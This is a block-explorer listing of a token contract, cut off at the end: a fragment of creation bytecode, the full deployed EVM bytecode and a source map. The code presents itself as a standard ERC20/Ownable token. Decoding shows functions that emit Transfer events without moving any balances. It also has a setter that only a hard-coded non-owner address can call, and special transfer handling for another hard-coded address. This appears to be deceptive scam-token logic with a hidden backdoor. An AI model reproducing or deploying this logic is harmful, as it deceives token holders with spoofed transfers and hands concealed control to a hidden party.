0000000000000000000000000081526004016109d890611689565b60405180910390fd5b6109ea816110c5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611717565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113a3565b60405180910390a3505050565b5f610bc284846108e9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061180d565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca79061189b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611929565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eaf5750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ebf57610ebe83611186565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a906119b7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161102e91906113a3565b60405180910390a36110418484846111f9565b50505050565b61104f6109ed565b73ffffffffffffffffffffffffffffffffffffffff1661106d61063d565b73ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90611a1f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611190826105e4565b90505f600190506007548211156111a75760085490505b80826111b39190611a6a565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611240826111fe565b61124a8185611208565b935061125a818560208601611218565b61126381611226565b840191505092915050565b5f6020820190508181035f8301526112868184611236565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112bf82611296565b9050919050565b6112cf816112b5565b81146112d9575f80fd5b50565b5f813590506112ea816112c6565b92915050565b5f819050919050565b611302816112f0565b811461130c575f80fd5b50565b5f8135905061131d816112f9565b92915050565b5f80604083850312156113395761133861128e565b5b5f611346858286016112dc565b92505060206113578582860161130f565b9150509250929050565b5f8115159050919050565b61137581611361565b82525050565b5f60208201905061138e5f83018461136c565b92915050565b61139d816112f0565b82525050565b5f6020820190506113b65f830184611394565b92915050565b5f805f606084860312156113d3576113d261128e565b5b5f6113e0868287016112dc565b93505060206113f1868287016112dc565b92505060406114028682870161130f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261142d5761142c61140c565b5b8235905067ffffffffffffffff81111561144a57611449611410565b5b60208301915083602082028301111561146657611465611414565b5b9250929050565b5f805f604084860312156114845761148361128e565b5b5f84013567ffffffffffffffff8111156114a1576114a0611292565b5b6114ad86828701611418565b935093505060206114c08682870161130f565b9150509250925092565b5f60ff82169050919050565b6114df816114ca565b82525050565b5f6020820190506114f85f8301846114d6565b92915050565b5f602082840312156115135761151261128e565b5b5f611520848285016112dc565b91505092915050565b611532816112b5565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f80604083850312156115675761156661128e565b5b5f611574858286016112dc565b9250506020611585858286016112dc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115d357607f821691505b6020821081036115e6576115e561158f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611673602683611208565b915061167e82611619565b604082019050919050565b5f6020820190508181035f8301526116a081611667565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611701602483611208565b915061170c826116a7565b604082019050919050565b5f6020820190508181035f83015261172e816116f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178f602283611208565b915061179a82611735565b604082019050919050565b5f6020820190508181035f8301526117bc81611783565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f7601d83611208565b9150611802826117c3565b602082019050919050565b5f6020820190508181035f830152611824816117eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611885602383611208565b91506118908261182b565b604082019050919050565b5f6020820190508181035f8301526118b281611879565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611913602583611208565b915061191e826118b9565b604082019050919050565b5f6020820190508181035f83015261194081611907565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119a1602683611208565b91506119ac82611947565b604082019050919050565b5f6020820190508181035f8301526119ce81611995565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a09602083611208565b9150611a14826119d5565b602082019050919050565b5f6020820190508181035f830152611a36816119fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a74826112f0565b9150611a7f836112f0565b925082611a8f57611a8e611a3d565b5b82820490509291505056fea2646970667358221220b9b896a1bf23991da737217e3a0899b587300f348314900244050e378538649f64736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b604051610122919061126e565b60405180910390f35b61014560048036038101906101409190611323565b6103e9565b604051610152919061137b565b60405180910390f35b61016361040b565b60405161017091906113a3565b60405180910390f35b610193600480360381019061018e91906113bc565b610414565b6040516101a0919061137b565b60405180910390f35b6101c360048036038101906101be919061146d565b610442565b005b6101cd61050f565b6040516101da91906114e5565b60405180910390f35b6101fd60048036038101906101f8919061146d565b610517565b005b610219600480360381019061021491906114fe565b6105e4565b60405161022691906113a3565b60405180910390f35b61023761062a565b005b61024161063d565b60405161024e9190611538565b60405180910390f35b61025f610664565b60405161026c919061126e565b60405180910390f35b61028f600480360381019061028a9190611323565b6106f4565b60405161029c919061137b565b60405180910390f35b6102bf60048036038101906102ba919061146d565b610716565b005b6102db60048036038101906102d691906113bc565b6107e3565b005b6102f760048036038101906102f291906114fe565b61084d565b604051610304919061137b565b60405180910390f35b61032760048036038101906103229190611551565b6108e9565b60405161033491906113a3565b60405180910390f35b610357600480360381019061035291906114fe565b61096b565b005b606060048054610368906115bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115bc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b8383905081101561050957838382818110610462576104616115ec565b5b905060200201602081019061047791906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113a3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de57838382818110610537576105366115ec565b5b905060200201602081019061054c91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113a3565b60405180910390a38080600101915050610519565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610632611047565b61063b5f6110c5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610673906115bc565b80601f016020809104026020016040519081016040528092919081815260200182805461069f906115bc565b80156106ea5780601f106106c1576101008083540402835291602001916106ea565b820191905f5260205f20905b8154815290600101906020018083116106cd57829003601f168201915b5050505050905090565b5f806106fe6109ed565b905061070b818585610c42565b600191505092915050565b5f5b838390508110156107dd57838382818110610736576107356115ec565b5b905060200201602081019061074b91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c891906113a3565b60405180910390a38080600101915050610718565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113a3565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff166108816109ed565b73ffffffffffffffffffffffffffffffffffffffff16146108a0575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610973611047565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d890611689565b60405180910390fd5b6109ea816110c5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990611717565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906117a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610baa91906113a3565b60405180910390a3505050565b5f610bc284846108e9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c3c5781811015610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c259061180d565b60405180910390fd5b610c3b84848484036109f4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca79061189b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590611929565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dba5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e5c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eaf5750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ebf57610ebe83611186565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a906119b7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161102e91906113a3565b60405180910390a36110418484846111f9565b50505050565b61104f6109ed565b73ffffffffffffffffffffffffffffffffffffffff1661106d61063d565b73ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90611a1f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611190826105e4565b90505f600190506007548211156111a75760085490505b80826111b39190611a6a565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611240826111fe565b61124a8185611208565b935061125a818560208601611218565b61126381611226565b840191505092915050565b5f6020820190508181035f8301526112868184611236565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112bf82611296565b9050919050565b6112cf816112b5565b81146112d9575f80fd5b50565b5f813590506112ea816112c6565b92915050565b5f819050919050565b611302816112f0565b811461130c575f80fd5b50565b5f8135905061131d816112f9565b92915050565b5f80604083850312156113395761133861128e565b5b5f611346858286016112dc565b92505060206113578582860161130f565b9150509250929050565b5f8115159050919050565b61137581611361565b82525050565b5f60208201905061138e5f83018461136c565b92915050565b61139d816112f0565b82525050565b5f6020820190506113b65f830184611394565b92915050565b5f805f606084860312156113d3576113d261128e565b5b5f6113e0868287016112dc565b93505060206113f1868287016112dc565b92505060406114028682870161130f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261142d5761142c61140c565b5b8235905067ffffffffffffffff81111561144a57611449611410565b5b60208301915083602082028301111561146657611465611414565b5b9250929050565b5f805f604084860312156114845761148361128e565b5b5f84013567ffffffffffffffff8111156114a1576114a0611292565b5b6114ad86828701611418565b935093505060206114c08682870161130f565b9150509250925092565b5f60ff82169050919050565b6114df816114ca565b82525050565b5f6020820190506114f85f8301846114d6565b92915050565b5f602082840312156115135761151261128e565b5b5f611520848285016112dc565b91505092915050565b611532816112b5565b82525050565b5f60208201905061154b5f830184611529565b92915050565b5f80604083850312156115675761156661128e565b5b5f611574858286016112dc565b9250506020611585858286016112dc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115d357607f821691505b6020821081036115e6576115e561158f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611673602683611208565b915061167e82611619565b604082019050919050565b5f6020820190508181035f8301526116a081611667565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611701602483611208565b915061170c826116a7565b604082019050919050565b5f6020820190508181035f83015261172e816116f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178f602283611208565b915061179a82611735565b604082019050919050565b5f6020820190508181035f8301526117bc81611783565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f7601d83611208565b9150611802826117c3565b602082019050919050565b5f6020820190508181035f830152611824816117eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611885602383611208565b91506118908261182b565b604082019050919050565b5f6020820190508181035f8301526118b281611879565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611913602583611208565b915061191e826118b9565b604082019050919050565b5f6020820190508181035f83015261194081611907565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119a1602683611208565b91506119ac82611947565b604082019050919050565b5f6020820190508181035f8301526119ce81611995565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a09602083611208565b9150611a14826119d5565b602082019050919050565b5f6020820190508181035f830152611a36816119fd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a74826112f0565b9150611a7f836112f0565b925082611a8f57611a8e611a3d565b5b82820490509291505056fea2646970667358221220b9b896a1bf23991da737217e3a0899b587300f348314900244050e378538649f64736f6c634300081a0033

Deployed Bytecode Sourcemap

3231:8031:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3776:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5247:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5816:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5456:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4537:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3998:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4316:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5987:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707:103;;;:::i;:::-;;2472:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3884:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4885:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4100:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4760:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6122:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5086:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2818:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3776:100;3830:13;3863:5;3856:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3776:100;:::o;5247:201::-;5330:4;5347:13;5363:12;:10;:12::i;:::-;5347:28;;5386:32;5395:5;5402:7;5411:6;5386:8;:32::i;:::-;5436:4;5429:11;;;5247:201;;;;:::o;5816:108::-;5877:7;5904:12;;5897:19;;5816:108;:::o;5456:295::-;5587:4;5604:15;5622:12;:10;:12::i;:::-;5604:30;;5645:38;5661:4;5667:7;5676:6;5645:15;:38::i;:::-;5694:27;5704:4;5710:2;5714:6;5694:9;:27::i;:::-;5739:4;5732:11;;;5456:295;;;;;:::o;4537:213::-;4626:9;4621:122;4645:11;;:18;;4641:1;:22;4621:122;;;4710:11;;4722:1;4710:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4690:41;;4699:9;;;;;;;;;;;4690:41;;;4726:4;4690:41;;;;;;:::i;:::-;;;;;;;;4665:3;;;;;;;4621:122;;;;4537:213;;;:::o;3998:92::-;4056:5;4081:1;4074:8;;3998:92;:::o;4316:215::-;4407:9;4402:122;4426:11;;:18;;4422:1;:22;4402:122;;;4491:11;;4503:1;4491:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4471:41;;4480:9;;;;;;;;;;;4471:41;;;4507:4;4471:41;;;;;;:::i;:::-;;;;;;;;4446:3;;;;;;;4402:122;;;;4316:215;;;:::o;5987:127::-;6061:7;6088:9;:18;6098:7;6088:18;;;;;;;;;;;;;;;;6081:25;;5987:127;;;:::o;2707:103::-;2433:13;:11;:13::i;:::-;2772:30:::1;2799:1;2772:18;:30::i;:::-;2707:103::o:0;2472:87::-;2518:7;2545:6;;;;;;;;;;;2538:13;;2472:87;:::o;3884:104::-;3940:13;3973:7;3966:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3884:104;:::o;4885:193::-;4964:4;4981:13;4997:12;:10;:12::i;:::-;4981:28;;5020;5030:5;5037:2;5041:6;5020:9;:28::i;:::-;5066:4;5059:11;;;4885:193;;;;:::o;4100:210::-;4186:9;4181:122;4205:11;;:18;;4201:1;:22;4181:122;;;4270:11;;4282:1;4270:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4250:41;;4259:9;;;;;;;;;;;4250:41;;;4286:4;4250:41;;;;;;:::i;:::-;;;;;;;;4225:3;;;;;;;4181:122;;;;4100:210;;;:::o;4760:119::-;4861:3;4845:26;;4854:5;4845:26;;;4866:4;4845:26;;;;;;:::i;:::-;;;;;;;;4760:119;;;:::o;6122:208::-;6184:4;6225:42;6209:58;;:12;:10;:12::i;:::-;:58;;;6201:67;;;;;;6293:7;6281:9;;:19;;;;;;;;;;;;;;;;;;6318:4;6311:11;;6122:208;;;:::o;5086:151::-;5175:7;5202:11;:18;5214:5;5202:18;;;;;;;;;;;;;;;:27;5221:7;5202:27;;;;;;;;;;;;;;;;5195:34;;5086:151;;;;:::o;2818:201::-;2433:13;:11;:13::i;:::-;2927:1:::1;2907:22;;:8;:22;;::::0;2899:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2983:28;3002:8;2983:18;:28::i;:::-;2818:201:::0;:::o;1947:98::-;2000:7;2027:10;2020:17;;1947:98;:::o;6759:380::-;6912:1;6895:19;;:5;:19;;;6887:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6993:1;6974:21;;:7;:21;;;6966:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7077:6;7047:11;:18;7059:5;7047:18;;;;;;;;;;;;;;;:27;7066:7;7047:27;;;;;;;;;;;;;;;:36;;;;7115:7;7099:32;;7108:5;7099:32;;;7124:6;7099:32;;;;;;:::i;:::-;;;;;;;;6759:380;;;:::o;8259:453::-;8394:24;8421:25;8431:5;8438:7;8421:9;:25::i;:::-;8394:52;;8481:17;8461:16;:37;8457:248;;8543:6;8523:16;:26;;8515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8627:51;8636:5;8643:7;8671:6;8652:16;:25;8627:8;:51::i;:::-;8457:248;8383:329;8259:453;;;:::o;7151:866::-;7296:1;7282:16;;:2;:16;;;7274:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7373:1;7357:18;;:4;:18;;;7349:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7442:9;;;;;;;;;;;7434:17;;:4;:17;;;;:79;;;;;7471:42;7455:58;;:2;:58;;;7434:79;7433:189;;;;7542:2;7529:15;;:9;;;;;;;;;;;:15;;;:69;;;;;7556:42;7548:50;;:4;:50;;;;7529:69;:92;;;;;7603:12;:18;7616:4;7603:18;;;;;;;;;;;;;;;;;;;;;;;;;7602:19;7529:92;7433:189;7430:236;;;7639:15;7649:4;7639:9;:15::i;:::-;7430:236;7676:19;7698:9;:15;7708:4;7698:15;;;;;;;;;;;;;;;;7676:37;;7747:6;7732:11;:21;;7724:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7864:6;7850:11;:20;7832:9;:15;7842:4;7832:15;;;;;;;;;;;;;;;:38;;;;7902:6;7885:9;:13;7895:2;7885:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;7950:2;7935:26;;7944:4;7935:26;;;7954:6;7935:26;;;;;;:::i;:::-;;;;;;;;7972:37;7992:4;7998:2;8002:6;7972:19;:37::i;:::-;7263:754;7151:866;;;:::o;2565:132::-;2640:12;:10;:12::i;:::-;2629:23;;:7;:5;:7::i;:::-;:23;;;2621:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2565:132::o;3027:191::-;3101:16;3120:6;;;;;;;;;;;3101:25;;3146:8;3137:6;;:17;;;;;;;;;;;;;;;;;;3201:8;3170:40;;3191:8;3170:40;;;;;;;;;;;;3090:128;3027:191;:::o;8025:226::-;8102:11;8116:15;8126:4;8116:9;:15::i;:::-;8102:29;;8142:10;8155:1;8142:14;;8179:5;;8170:6;:14;8167:39;;;8196:10;;8186:20;;8167:39;8238:5;8231:6;:12;;;;:::i;:::-;8217:5;:11;8223:4;8217:11;;;;;;;;;;;;;;;:26;;;;8091:160;;8025:226;:::o;8722:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-